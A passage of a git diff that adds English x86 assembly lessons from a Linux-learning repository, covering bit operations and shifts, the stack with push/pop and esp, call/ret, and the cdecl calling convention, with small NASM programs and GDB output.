+(gdb) info registers eax
+eax 0x0 0
+```
+
+`123` (`0x7b`) became `0` in an instant. `echo $?` also gives `0`.
+
+So why this instead of `mov eax, 0`? Both zero out eax — but `xor eax, eax` takes up **less** space in machine code (and the processor loves it). This is why it's the *idiomatic* way to say "zero it out"; in other people's code you'll see `xor eax, eax` far more often than `mov eax, 0`. Now when you see it, you'll know what it is: "this just means eax = 0."
+
+> 🔑 `xor eax, eax` = **zero out eax.** When a number is xored with itself, each bit becomes `1 xor 1 = 0` / `0 xor 0 = 0` → all 0. Same result as `mov eax, 0` but encoded shorter; that's why it's the standard idiom for "zero it out." Don't stumble when you see it.
+
+---
+
+## Shifting: `shl` / `shr` = Fast ×2 and ÷2
+
+The last two bit instructions **shift bits sideways**:
+
+- `shl destination, n` → **shift left:** push all bits `n` places to the **left**, fill in with zeros from the right.
+- `shr destination, n` → **shift right:** push all bits `n` places to the **right**.
+
+Their magic comes from 03. In a decimal number, pushing a digit left and putting a 0 on the right (`5` → `50`) makes the number **×10**. Since binary's base is 2, shifting left by one is **×2**:
+
+```
+ 5 = 0000 0101
+ 5<<1 = 0000 1010 = 10 (×2)
+ 5<<3 = 0010 1000 = 40 (×2×2×2 = ×8)
+```
+
+`kaydir.asm`, `mov eax, 5` + `shl eax, 3`:
+
+```
+40
+```
+
+`5 << 3 = 5 × 2³ = 5 × 8 = 40`. The same logic in reverse: `shr` is **÷2** at each step. `kaydir2.asm`, `mov eax, 20` + `shr eax, 2`:
+
+```
+5
+```
+
+`20 >> 2 = 20 ÷ 2² = 20 ÷ 4 = 5`. Processors love this: a shift is **much faster** than a full multiply/divide. That's why, when multiplication/division by a power of 2 is needed, compilers often use `shl`/`shr` — so later, when you look at a C program's assembly (lesson 19) and see `shl ..., 3` instead of `× 8`, don't be surprised.
+
+> 🔑 `shl x, n` = shift bits left = **× 2ⁿ**; `shr x, n` = shift right = **÷ 2ⁿ**. In binary, "push left, add zero" is just like "×10" in decimal, but ×2. It's the fast way to multiply/divide; it comes free for powers of 2. (Small caveat: `shr`'s "÷2" holds only for unsigned numbers — to divide a negative number you need `sar`; `shl`, on the other hand, is a clean ×2 in both cases.)
+
+---
+
+## Paying the Debt: `test` Was Really `and`
+
+Now we can open the closed box I left back in 10 and 11. `test` is the **"result thrown away"** form of an operation you learned in this lesson — just as `cmp` is the result-thrown-away form of `sub` (10):
+
+```
+ cmp = sub but throws away the result, only sets flags
+ test = and but throws away the result, only sets flags
+```
+
+So `test eax, eax` does `eax and eax` inside (it doesn't write the result anywhere), it only looks at the flags. Since `x and x = x`, the result is eax itself; if eax is **zero**, the result is zero → **ZF is set.** This is exactly the "is eax zero?" from 10.
+
+And `test eax, 1`? Now it's plain: `eax and 1` = **only the lowest bit**. If the lowest bit is 1 (odd number), the result is not zero → ZF off; if it's 0 (even), the result is zero → ZF on. This was the whole mechanism of the even-odd test in 11 — the flag version of this section's `vetek.asm` (`7 and 1 = 1`).
+
+> 🔑 `test a, b` = `and a, b` but throws away the result, only sets flags (the same as `cmp`'s relationship to `sub`). `test eax, eax` → "is eax zero" (ZF); `test eax, 1` → "is eax odd" (lowest bit). This was the closed box in 10-11; now you've seen it.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Bit operations process a number BIT BY BIT (NO carry, digits don't mix). Truth table:
+ and = are both 1 | or = is at least one 1 | xor = are they different (one 1 one 0)
+☐ and = MASK/FILTER: what's 1 in the mask passes, what's 0 gets wiped. 13 and 6 = 4 ; x and 1 = lowest bit (odd/even).
+☐ or = SET a bit (definitely make it 1): 12 or 3 = 15.
+☐ xor = FLIP a bit (opposite). SPECIAL: xor eax, eax = ZERO OUT eax (xor with itself → always 0). The short/idiomatic form of mov eax,0.
+☐ shl x, n = shift left = × 2ⁿ (5 << 3 = 40).
+ shr x, n = shift right = ÷ 2ⁿ (20 >> 2 = 5). The fast way to multiply/divide (powers of 2).
+ Note: shr's ÷2 is only for unsigned numbers; to divide a negative you need sar.
+☐ DEBT PAID: test = and but throws away the result (same idea as cmp = sub but throws away the result).
+ test eax,eax → "is it zero" (ZF) ; test eax,1 → "is it odd". This was the closed box in 10-11.
+☐ Verified: 13&6=4, 12|3=15, xor eax,eax→0 (gdb 123→0), 7&1=1, 5<<3=40, 20>>2=5.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Bits, binary digits, and the root of the "shift left = ×base" intuition
+- [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md) — The idea that `test` is the "throw away the result, set flags" sibling; `cmp = sub`'s counterpart here
+- [11_ziplamalar.md](./11_ziplamalar.md) — The even-odd decision with `test eax, 1`; its mechanism (`and`) was opened right here in this lesson
+- [09_aritmetik.md](./09_aritmetik.md) — The "carry-bearing" nature of addition; its contrast with the "carry-free" nature of bit operations
+
+---
+
+**Previous topic:** [12_donguler.md](./12_donguler.md)
+**Next topic:** [14_stack.md](./14_stack.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
new file mode 100644
index 0000000..7b296a6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/14_stack.md
@@ -0,0 +1,162 @@
+# 🗂️ x86 Assembly — The Stack: The Worker's Notebook
+
+> You finished Unit 2: the worker now does arithmetic (09), makes decisions (10-11), builds loops (12), plays with bits (13). But there's a problem, and it will only grow: **too few hands.** We saw it in 04.5 — a handful of registers (eax, ebx, ecx...), and that's all. So what if you need to set aside more numbers than you can hold?
+> That's the subject of this unit: giving the worker a **notebook**. Its name is the **stack**, and as you'll see shortly, this notebook is also the foundation of the next two lessons — functions.
+
+> **There's code in this lesson and we run all of it.** Every program below, every exit code, and every GDB output is real: I compiled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [The Worker's Notebook: What Is the Stack?](#the-workers-notebook-what-is-the-stack)
+- [`push` / `pop`: Put on Top, Take from Top](#push--pop-put-on-top-take-from-top)
+- [LIFO: Last In, First Out](#lifo-last-in-first-out)
+- [`esp` and 'Why Does the Stack Grow Downward?'](#esp-and-why-does-the-stack-grow-downward)
+
+---
+
+## The Worker's Notebook: What Is the Stack?
+
+Registers are fast but **few** (04.5). When you need to do a new job in the middle of a calculation without losing a value you're holding, you have to **set it down** somewhere temporarily. You could open a named box in memory (`section .data`, 08) — but making up a name for every temporary value is tedious. You need something more practical: quickly "set this aside," then "take it back."
+
+That's what the **stack** is for: a special region of memory that the worker uses for temporary notes. The name fits perfectly — think of a **stack of plates**:
+
+- You put a new plate **on top** (`push`).
+- When you take a plate, you again take it **from the top** (`pop`).
+- You can't pull one out of the middle or from the bottom — always from the top.
+
+This "always from the top" rule looks simple but is very powerful; we'll give it a name shortly (LIFO). For now, the mental image: the stack = the worker's notebook, where notes are added on top and taken from the top.
+
+> 🔑 **Stack** = the region of memory used to set down temporary values and take them back; the worker's "notebook." It exists because registers are few. The rule: like a stack of plates, work is always done **from the top** — put on top, take from top.
+
+---
+
+## `push` / `pop`: Put on Top, Take from Top
+
+You talk to the stack with two instructions:
+
+- `push source` → **put** `source` **on top** of the stack.
+- `pop destination` → take the value at the **top** of the stack, put it in `destination` (and remove it from the top).
+
+So how does the worker know where the "top" is? A special register tracks it: **`esp`** (*stack pointer*). `esp` always holds the address of the value at the **top of the stack**; that is, `[esp]` (the square brackets from 08!) = the value on top.
+
+- When you `push`: `esp` points to a new location and the value is written there — the top rises.
+- When you `pop`: the value at `[esp]` is read and `esp` points to an older location — the top falls.
+
+This movement of `esp` holds the stack's most confusing yet most elegant detail (last section). First, let's see the instructions in action.
+
+> 🔑 `push x` = put x on top of the stack; `pop r` = take the top value into r (and remove it). The **`esp`** register always points to the top; `[esp]` = the value on top. `push` grows the top, `pop` shrinks it.
+
+---
+
+## LIFO: Last In, First Out
+
+The stack of plates' "always from the top" rule has a consequence: the last plate you put down is the first one you take back. This is called **LIFO** — *Last In, First Out*. Let's prove it with a program. `stack.asm` — let's put three numbers down in order and take them back in order:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 10 ; put: 10
+ push dword 20 ; put: 20 (on top of 10)
+ push dword 30 ; put: 30 (at the very top)
+ pop eax ; take: the top → 30
+ pop ebx ; take: the next → 20
+ pop ecx ; take: the next → 10
+ mov ebx, eax ; put what we took first (30) into the exit
+ mov eax, 1
+ int 0x80
+```
+
+A small detail: why is that `dword` there in `push dword 10`? `10` is a bare number; the assembler can't tell how many bytes to push it onto the stack as, so you tell it by saying `dword` (= 4 bytes). In `pop eax`, though, `eax` is a register whose size is already known (32-bit) — there you don't need to write `dword`.
+
+Follow the order: we put down `10, 20, 30` (30 was last, on top). When taking them back we started from the top: the first `pop` took **30** (the one we put down last), then 20, then 10. So they came back in **reverse** order. Run it:
+
+```
+nasm -f elf32 stack.asm -o stack.o
+ld -m elf_i386 stack.o -o stack
+./stack
+echo $?
+```
+
+```
+30
+```
+
+The first `pop` brought back the `30` we put down last — the exit code confirms it. **Last in, first out.** The order in was `10→20→30`, the order out was `30→20→10`. The stack's whole character is in that one word: LIFO.
+
+> 🔑 The stack is **LIFO** (Last In, First Out). `push 10,20,30` then `pop,pop,pop` → `30,20,10` (reversed). You always take back what you put down last; you can't reach into the middle or the bottom.
+
+---
+
+## `esp` and 'Why Does the Stack Grow Downward?'
+
+Now the loveliest detail. Your intuition probably says "as the stack grows, the addresses **increase**" — after all, we're stacking things on top. But the truth is exactly the opposite: **as the stack grows, `esp` GETS SMALLER.** The stack grows from the high addresses of memory **downward**, toward the small addresses. Let's watch `esp` at every `push` in GDB:
+
+```
+gdb ./stack
+(gdb) starti
+(gdb) print/x $esp # start
+(gdb) si # push 10
+(gdb) print/x $esp
+(gdb) x/1dw $esp # value on top
+... (repeat after each push)
+```
+
+Real output:
+
+```
+start esp = 0xffffc570
+after push 10, esp = 0xffffc56c top = 10
+after push 20, esp = 0xffffc568 top = 20
+after push 30, esp = 0xffffc564 top = 30
+after pop eax, esp = 0xffffc568 eax = 30
+```
+
+So who set that first `esp` value (`0xffffc570`) before you even did a single `push`? Not you: when the program starts, the operating system prepares the stack region and writes the top address into `esp` — the notebook comes already open, pen in hand. (The OS rules over memory and hardware; a closed box for now, we'll open it in 17.)
+
+Look at the addresses: at every `push`, `esp` decreased by exactly **4** (`c570 → c56c → c568 → c564`). Four each time, because a dword is 4 bytes (03/08). The value was written to that new (smaller) address — `[esp]` always points to the top. And when you did `pop eax`, `esp` went back **up by 4** (`c564 → c568`) and took the value (30). So:
+
+- **`push`** = decrease `esp` by 4, write the value there. (the top descends)
+- **`pop`** = take the value at `[esp]`, increase `esp` by 4. (the top rises)
+
+But why downward? The logic is this: think of memory as a street. The **program itself** (code and data) sits at the **bottom** end of the street (small addresses) — like the `0x8049000` you saw in 11. The stack is placed at the **top** end of the street (big addresses) and grows **downward**. This way the two start from opposite ends of the street and grow **toward each other**; both can use the space in the middle, and no room is wasted. If you grew both in the same direction, one would collide with the other sooner.
+
+> 🔑 The stack grows **downward**: `push` → `esp` **decreases by 4** (the top descends to a small address), `pop` → `esp` **increases by 4**. The reason: the program starts from the bottom of memory (small address), the stack from the top (big address); by growing in opposite directions they share the same gap without colliding. Counterintuitive but consistent.
+
+> 💡 **You might be wondering:** *"What is this LIFO / notebook going to be good for? Putting down and taking back three numbers is a bit of a toy."* You're right — its real power isn't on its own. The stack's real life begins in the next two lessons: **functions.** When a worker is about to "go do another job and come back," it writes down "where it will return to" and the values it's holding in this notebook (15), then reads them back when it returns. You learned `push`/`pop` now so that in 15 functions won't look like magic — just like "leaving a note on the stack."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ STACK = the temporary-value region of memory; the worker's "notebook" (because registers are few). Like a stack of plates: always from the top.
+☐ push x = put x on top ; pop r = take the top value into r (and remove it).
+☐ the esp register ALWAYS points to the top; [esp] = the value on top.
+☐ LIFO (Last In First Out): push 10,20,30 → pop,pop,pop = 30,20,10 (reverse order). What you put down last comes out first.
+☐ The stack grows DOWNWARD (counterintuitive):
+ - push → esp DECREASES by 4 (dword=4 bytes), the value is written there.
+ - pop → the value is read, esp INCREASES by 4.
+ - gdb proof: esp c570→c56c→c568→c564 (each push -4), +4 back on pop.
+ - Why: the program from the bottom of memory, the stack from the top; growing in opposite directions they share the gap without colliding.
+☐ Why it matters: this is the foundation of functions (15). "Where I'll return to" + temporary values are written to the stack.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — The fact that registers are "few"; the stack is exactly the solution to that scarcity. `esp` is a register too
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[...]` = "the box at the address"; `[esp]` = the value on top. The stack is memory after all
+- [08.5_little_endian.md](./08.5_little_endian.md) — The dwords written to the stack also sit in memory byte by byte; the same layout rule
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — "Why 4?" — a dword is 4 bytes; the reason `esp` moves 4 at a time
+
+---
+
+**Previous topic:** [13_bit_islemleri.md](./13_bit_islemleri.md)
+**Next topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
new file mode 100644
index 0000000..d15dd12
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/15_call_ve_ret.md
@@ -0,0 +1,173 @@
+# 📞 x86 Assembly — `call` and `ret`: Functions
+
+> In 14 we handed the worker a notepad (the stack) and left off with a small promise: *"the real life of the stack begins with functions; you learned `push`/`pop` so that in 15 functions won't look like magic, but like 'leaving a note on the stack.'"*
+> This is that moment. In this lesson we'll learn to write one piece of work **once and use it many times** — in programming this is called a **function**. And we'll see that the whole secret of functions is hidden in that simple stack you learned in 14.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran it on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [A Reusable Piece: The Function](#a-reusable-piece-the-function)
+- [What `jmp` Is Missing: But Where Do I Return To?](#what-jmp-is-missing-but-where-do-i-return-to)
+- [`call` and `ret`: Go and Come Back](#call-and-ret-go-and-come-back)
+- [Behind the Curtain: `call` = `push` + `jmp`](#behind-the-curtain-call--push--jmp)
+
+---
+
+## A Reusable Piece: The Function
+
+Say you need to do a job in **many places** in your program — for example, "add 5 to the number in hand." You could rewrite those three lines everywhere you need them, but that's both tiring and error-prone. Better: write that piece **once**, give it a name, and every time you need it just say "run this."
+
+That's exactly what a **function** is: a reusable piece of code that has a name. With the **label** you learned in 11 (`ekle5:`) you give the piece a name, then you call it from wherever you want. And the beauty of it: you can call the same piece **multiple times**. In this program we call `ekle5` twice:
+
+```nasm
+_start:
+ mov eax, 10
+ call ekle5 ; 10 + 5 = 15
+ call ekle5 ; 15 + 5 = 20 (reused the same piece)
+ ...
+ekle5:
+ add eax, 5
+ ret
+```
+
+This program gives `20` (we'll run it in a moment) — we used the three-line `ekle5` piece twice, without copying it at all. But how does "calling" (`call`) actually work? To understand that, let's first see why the only "go" instruction we have (`jmp`) isn't enough.
+
+> 🔑 **Function** = a reusable piece of code that has a name. Write it once, use it every time you call it. It's named with a label (11) and called with `call`. The goal: to avoid copy-paste.
+
+---
+
+## What `jmp` Is Missing: But Where Do I Return To?
+
+Your first instinct might be "I'll do `jmp ekle5`, done." The going part really is like that — but there's a problem: when `ekle5` finishes its work, **where does it return to?**
+
+Think about it: we called `ekle5` from two different places in the program. When `ekle5` finishes, sometimes it needs to return below the first call, sometimes below the second call. But `ekle5` itself is always the same — we can't write a fixed "return here" address into it, because the place to return to is **different on every call.**
+
+So the thing that's missing is **memory**: we need to **jot down** somewhere the fact of "where was I right before I called you?", and when the worker returns, to **read** that note. Leaving a temporary value somewhere and taking it back later... this should sound familiar — this is exactly the job of the **stack** from 14.
+
+> 🔑 `jmp` **goes** to the function but doesn't remember "where to return to." When the same function is called from different places the return point changes; that's why jotting down a **return address** somewhere is essential. That "somewhere" = the stack (14).
+
+---
+
+## `call` and `ret`: Go and Come Back
+
+x86 put these two jobs (go + remember the return / come back) into two instructions:
+
+- `call label` → **remember the return address, then go to `label`.**
+- `ret` → **return to the remembered return address.**
+
+The two are a pair: you go with `call`, you return with `ret`. You put `ret` at the end of the function; it means "return to whoever called me." `fonksiyon.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10
+ call ekle5 ; go to ekle5 (and remember the return)
+ mov ebx, eax ; ← ekle5 returns here. result (15) to exit
+ mov eax, 1
+ int 0x80
+
+ekle5:
+ add eax, 5 ; eax += 5
+ ret ; return to the caller
+```
+
+Follow the flow: `eax = 10`, `call ekle5` → the worker goes to `ekle5`, does `add eax, 5` making `eax = 15`, says `ret` → returns to the line **right below** the `call` (`mov ebx, eax`). Run it:
+
+```
+nasm -f elf32 fonksiyon.asm -o fonksiyon.o
+ld -m elf_i386 fonksiyon.o -o fonksiyon
+./fonksiyon
+echo $?
+```
+
+```
+15
+```
+
+Now run the two-call version from the top (`fonksiyon2.asm`, `call ekle5` twice):
+
+```
+20
+```
+
+**There's your reusable piece.** You wrote `ekle5` once; call it once and you get 15, call it twice and you get 20. Every `call` went, made it do the work, and `ret` returned it to the right place. But how do `call`/`ret` pull off this "coming back" trick? Let's pull the curtain aside — and you'll see why 14 came right before this lesson.
+
+> 🔑 `call label` = remember the return address + go to the label. `ret` = return to the remembered address. You put `ret` at the end of the function. `call`/`ret` are a pair: one goes, one returns.
+
+---
+
+## Behind the Curtain: `call` = `push` + `jmp`
+
+Here's the secret, and it's not magic at all. `call ekle5` actually does two things:
+
+1. **`push`** — pushes the address of the next instruction (the return address) onto the stack.
+2. **`jmp ekle5`** — jumps to the function.
+
+And `ret` does just one thing: it **`pop`**s the address at the top of the stack and jumps there. So the "return address" is nothing but a note left on the stack from 14! Let's see this with our own eyes in GDB.
+
+First let's know the addresses from the disassembly — the instruction **after** `call` is `mov ebx, eax`, at address `0x804900a`:
+
+```
+ 8049005: call 8049013
+ 804900a: mov ebx,eax ← instruction after call = return address
+ ...
+ 8049013 : add eax,0x5
+ 8049016: ret
+```
+
+Now let's look at `esp` and the top of the stack before and after `call`:
+
+```
+call BEFORE esp = 0xffffc570 (next instruction = will be the return address: 0x804900a mov ebx,eax)
+call AFTER esp = 0xffffc56c stack top [esp] = 0x0804900a eip now: 0x8049013
+```
+
+Catch three things at once:
+
+1. **`esp` decreased by 4** (`c570 → c56c`) — that is, `call` did a **`push`** (14: push = esp−4).
+2. **`0x0804900a` was written to the top of the stack** — exactly the address of the instruction after `call` (`mov ebx, eax`). There's the **return address**, jotted into the notepad.
+3. **`eip` jumped to `0x8049013`** (`ekle5`) — we went to the function.
+
+`call` = "jot the return address onto the stack, then leap to the function." When the function finishes its work and says `ret`, that note (`0x804900a`) is `pop`ped from the stack and the worker returns right there. If you call from different places, a different return address is jotted down each time — the problem `jmp` couldn't solve is solved with a single `push`/`pop`.
+
+> 🔑 `call` = **`push` (return address) + `jmp` (to the function)**; `ret` = **`pop` (return address) + go there.** The return address is a note left on the stack (14!). Functions aren't magic; they're just jumps that "write onto the stack where to return to." That's why 14 came right before 15.
+
+> ⚠️ Small but critical: if you `push` inside the function and forget the balancing `pop`, `ret` will find **the value you left** at the top of the stack instead of the return address and "return" there — the program crashes or goes haywire. How we keep the stack **balanced** inside a function (and how we pass data to a function) is exactly the topic of lesson 16.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FUNCTION = a reusable piece of code that has a name (named with a label, called with call). Avoids copy-paste.
+☐ Why jmp isn't enough: it goes but doesn't remember "where to return to." Different call sites → different return point.
+☐ call label = REMEMBER the return address + go to the label. ret = RETURN to the remembered address. (A pair; end of function = ret.)
+☐ BEHIND THE CURTAIN (no magic):
+ - call = push (return address = address of the instruction after call) + jmp (to the function).
+ - ret = pop (return address) + go there.
+ - Return address = a note left on the stack from 14.
+ - gdb proof: at call esp c570→c56c (-4 = push), [esp]=0x804900a (instruction after call), eip→ekle5.
+☐ Verified: one call 10+5=15 ; two calls 10+5+5=20 (same piece reused).
+☐ WATCH OUT: if push/pop is unbalanced inside a function ret returns to the wrong place → crash. Balance + passing data = lesson 16.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [14_stack.md](./14_stack.md) — the foundation `call`/`ret` is built on; the return address is a note `push`ed onto the stack. This lesson wouldn't exist without 14
+- [11_ziplamalar.md](./11_ziplamalar.md) — `call` is essentially a `jmp` (+ a return address); labels come from here too
+- [09_aritmetik.md](./09_aritmetik.md) — the `add` inside `ekle5`; functions package up familiar instructions
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eip` ("where am I"); `call`/`ret` are really about managing `eip` through the stack
+
+---
+
+**Previous topic:** [14_stack.md](./14_stack.md)
+**Next topic:** [16_calling_convention.md](./16_calling_convention.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
new file mode 100644
index 0000000..ae74cc0
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -0,0 +1,198 @@
+# 📜 x86 Assembly — Calling Convention: Giving Data to a Function
+
+> In 15 we wrote a function called `ekle5`, but we pulled a little trick: the function took its data straight from `eax` and left the result back in `eax` — we just said "everyone use eax" and moved on. Real functions don't work like that.
+> Because you have to tell a real function **"add these two numbers"**: how do you *give* it the numbers? Where do you *collect* the result from? And that "stack balance" business I warned about at the end of 15 — whose responsibility is it? That's the subject of this lesson: a shared **contract** everyone abides by.
+
+> **This lesson has code and we run all of it.** Every program, every exit code, and every GDB output below is real: I compiled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [We Need a Contract: cdecl](#we-need-a-contract-cdecl)
+- [Pass Arguments via the Stack, Get the Result in `eax`](#pass-arguments-via-the-stack-get-the-result-in-eax)
+- [The `ebp` Anchor: Prologue and `[ebp+8]`](#the-ebp-anchor-prologue-and-ebp8)
+- [All Together: `Topla(3, 5)`](#all-together-topla3-5)
+
+---
+
+## We Need a Contract: cdecl
+
+There is no "natural" way to give data to a function — someone has to **set the rules**. The caller and the callee are two separate pieces of code; if they don't agree, it's chaos. For example:
+
+- Should the caller put the numbers in `eax`/`ebx`, or on the stack?
+- Where should the function leave its result so the caller can find it?
+- If the function trashes `ecx` while running, does the caller's `ecx` get destroyed?
+- Who cleans up the arguments pushed onto the stack afterward?
+
+We need an **agreement** whose answers to these questions everyone knows in advance. This agreement is called a **calling convention**. There is no single "right" one — different systems have different conventions. On **32-bit Linux** the most common is **cdecl**; that's the one we'll learn.
+
+cdecl's three core rules (the rest is detail):
+
+1. **Arguments are pushed onto the stack** — and moreover **right to left** (last argument first).
+2. **The return value comes back in `eax`.**
+3. **The caller cleans up the arguments** (not the function).
+
+(The answer to the question we asked above — *"if `ecx` gets trashed, does the caller's `ecx` get destroyed?"* — is also part of this contract: which register is preserved by whom is bound to a definite rule. But that's a detail — for now these three rules are enough to write `Topla`, so we won't get into that subtlety.)
+
+Now let's see each of these one by one, with running code.
+
+> 🔑 **Calling convention** = the agreement between the caller and the function about "where we'll put the data, where we'll get the result from, who will clean up." There's no single right answer; on 32-bit Linux the standard is **cdecl**: arguments on the stack (right to left), result in `eax`, cleanup on the caller.
+
+---
+
+## Pass Arguments via the Stack, Get the Result in `eax`
+
+In 15 we looked for a way to give data to a function and saw that we put the return address on the stack. Arguments go to the same place: **before calling, you `push` them onto the stack.** cdecl wants them **right to left** — that is, for `Topla(3, 5)` you push `5` first, then `3`:
+
+```nasm
+ push dword 5 ; 2nd argument first (right to left)
+ push dword 3 ; 1st argument after
+ call topla
+```
+
+Why reversed? This way, **right before `call`**, the 1st argument sits at the top of the stack; when `call` pushes the return address on top of it (15), the top becomes the **return address** again, and the 1st argument stays right **below** it (closest to the return address) — so when the function asks "where's my first argument?" it looks at a consistent spot. We'll see its exact address in a moment.
+
+The result comes back in `eax` (rule 2) — after all, `ekle5` in 15 already left its result in eax; cdecl just makes this an official rule. When the function returns, the caller looks at `eax` and finds the result there.
+
+> 🔑 Arguments are `push`ed onto the stack **before** `call`, in cdecl **right to left** (last argument pushed first → first argument stays on top). The return value comes in **`eax`**. Data going in: stack; result coming back: eax.
+
+---
+
+## The `ebp` Anchor: Prologue and `[ebp+8]`
+
+How will the function reach the arguments? First idea: "they're at the top of the stack, I'll read them with `[esp+...]`." But there's a trap: inside the function every `push`/`pop`, and `call`, means **`esp` keeps moving** (14). Sometimes you'd look for the argument at `[esp+4]`, a moment later at `[esp+12]` — shifting ground. We need a fixed reference.
+
+The solution is to make one register a **fixed anchor**: **`ebp`** (*base pointer*). At the start of the function you copy `esp`'s current value into `ebp`; then no matter how much `esp` moves, `ebp` **doesn't budge** and you always read the arguments relative to it. These two setup lines are called the **prologue**:
+
+```nasm
+topla:
+ push ebp ; save the caller's ebp (they need it, don't trash it)
+ mov ebp, esp ; ebp = current top → fixed anchor
+```
+
+(In this first example the caller is `_start`; it hadn't written anything meaningful into `ebp`, so the **content** of the value we save is unimportant. But **the line itself** matters: most callers have a real `ebp` that needs to be preserved — you'll see it with C functions in 19 — so the pattern saves the caller's `ebp` whoever the caller is. Here it's just protecting that "empty" one.)
+
+After these two lines the stack is laid out like this (from 14: up = larger address). `ebp` is now fixed; relative to it, the arguments:
+
+```
+ [ebp + 12] → 2nd argument (5)
+ [ebp + 8] → 1st argument (3)
+ [ebp + 4] → return address (put by call, 15)
+ [ebp + 0] → saved old ebp ← ebp points here
+```
+
+So the **1st argument is always `[ebp+8]`**, the 2nd argument `[ebp+12]` — it doesn't change no matter what `esp` does. (Why 8? `[ebp]` holds the old ebp, `[ebp+4]` holds the return address; the arguments are above them, starting at +8.) When the work is done you return the anchor and the stack to their old state — this is called the **epilogue**:
+
+```nasm
+ pop ebp ; give the caller's ebp back
+ ret ; go to the return address (15)
+```
+
+> 🔑 Because `esp` keeps moving, reading arguments relative to it is fragile; instead you make **`ebp` a fixed anchor**. The **prologue** (`push ebp` / `mov ebp, esp`) sets up the anchor; now the **1st argument is `[ebp+8]`**, the 2nd is `[ebp+12]`. The **epilogue** (`pop ebp` / `ret`) restores the old state. Nearly every function begins and ends with this pattern.
+
+---
+
+## All Together: `Topla(3, 5)`
+
+Let's gather all three rules into a single program. `topla_fn.asm` — a real `Topla(3, 5)` call:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ push dword 5 ; 2nd argument (right to left)
+ push dword 3 ; 1st argument
+ call topla ; Topla(3, 5)
+ add esp, 8 ; CALLER cleans up: 2 arguments × 4 bytes = 8
+ mov ebx, eax ; return value in eax → to exit
+ mov eax, 1
+ int 0x80
+
+topla:
+ push ebp ; --- prologue ---
+ mov ebp, esp
+ mov eax, [ebp+8] ; 1st argument (3)
+ add eax, [ebp+12] ; + 2nd argument (5) → eax = 8 (return value)
+ pop ebp ; --- epilogue ---
+ ret
+```
+
+There's just one new piece: the `add esp, 8` after `call`. This is **rule 3** — the caller cleans up the 2 arguments (2 × 4 = 8 bytes) it pushed onto the stack. Why `add` and not `sub`? The stack grows downward (toward smaller addresses) (14); when you `push`ed the arguments, `esp` had **decreased** by 8, so cleanup **increases** it back by 8 — "erasing" here means moving `esp` above where we pushed, back up to the old top. (Recall the warning from 15: if the stack doesn't stay balanced, things break. Since it's the caller that pushes the arguments, it's also the one that cleans them.) Run it:
+
+```
+nasm -f elf32 topla_fn.asm -o topla_fn.o
+ld -m elf_i386 topla_fn.o -o topla_fn
+./topla_fn
+echo $?
+```
+
+```
+8
+```
+
+`Topla(3, 5) = 8`. Replace the arguments with two different numbers (`push 20` / `push 10`, i.e. `Topla(10, 20)`):
+
+```
+30
+```
+
+Same function, different arguments, correct result. Let's verify in GDB that the function really reads its arguments from `[ebp+8]`/`[ebp+12]` — after the prologue:
+
+```
+gdb ./topla_fn
+(gdb) break topla
+(gdb) run
+(gdb) si # push ebp
+(gdb) si # mov ebp, esp (anchor set up)
+(gdb) x/1dw $ebp+8 # 1st argument
+(gdb) x/1dw $ebp+12 # 2nd argument
+(gdb) x/1xw $ebp+4 # return address
+```
+
+Real output:
+
+```
+[ebp+8] (1.arg) = 3
+[ebp+12] (2.arg) = 5
+[ebp+4] (return address) = 0x08049009
+```
+
+**There's the contract, in action.** `3` and `5` are exactly where expected (`[ebp+8]`, `[ebp+12]`), and the return address is right between them (`[ebp+4]`), just as we learned in 15. The function read them, added them, returned the result in `eax` (8); the caller found the result in eax and cleaned up the stack. Nobody stepped on anybody's toes — because both obeyed the same contract.
+
+> 💡 **You might be wondering:** *"Isn't all this ceremony a bit much just to add three numbers?"* In a tiny example it looks that way. But the idea is this: **any** function that obeys this contract can talk to **any** other one — the ones you write, the ones the compiler produces, the operating system's libraries. In a moment (19), when you look at the assembly of a C program, you'll see exactly this pattern — `push ebp` / `mov ebp, esp` / `[ebp+8]`. cdecl is "the common language everyone speaks"; its hassle is the price of its universality.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ CALLING CONVENTION = caller↔function agreement (data where, result from where, who cleans). 32-bit Linux = cdecl.
+☐ cdecl 3 rules:
+ 1) Arguments pushed onto the stack, RIGHT TO LEFT (last arg first → 1st arg on top).
+ 2) Return value in EAX.
+ 3) The CALLER cleans up the arguments (after call: add esp, ).
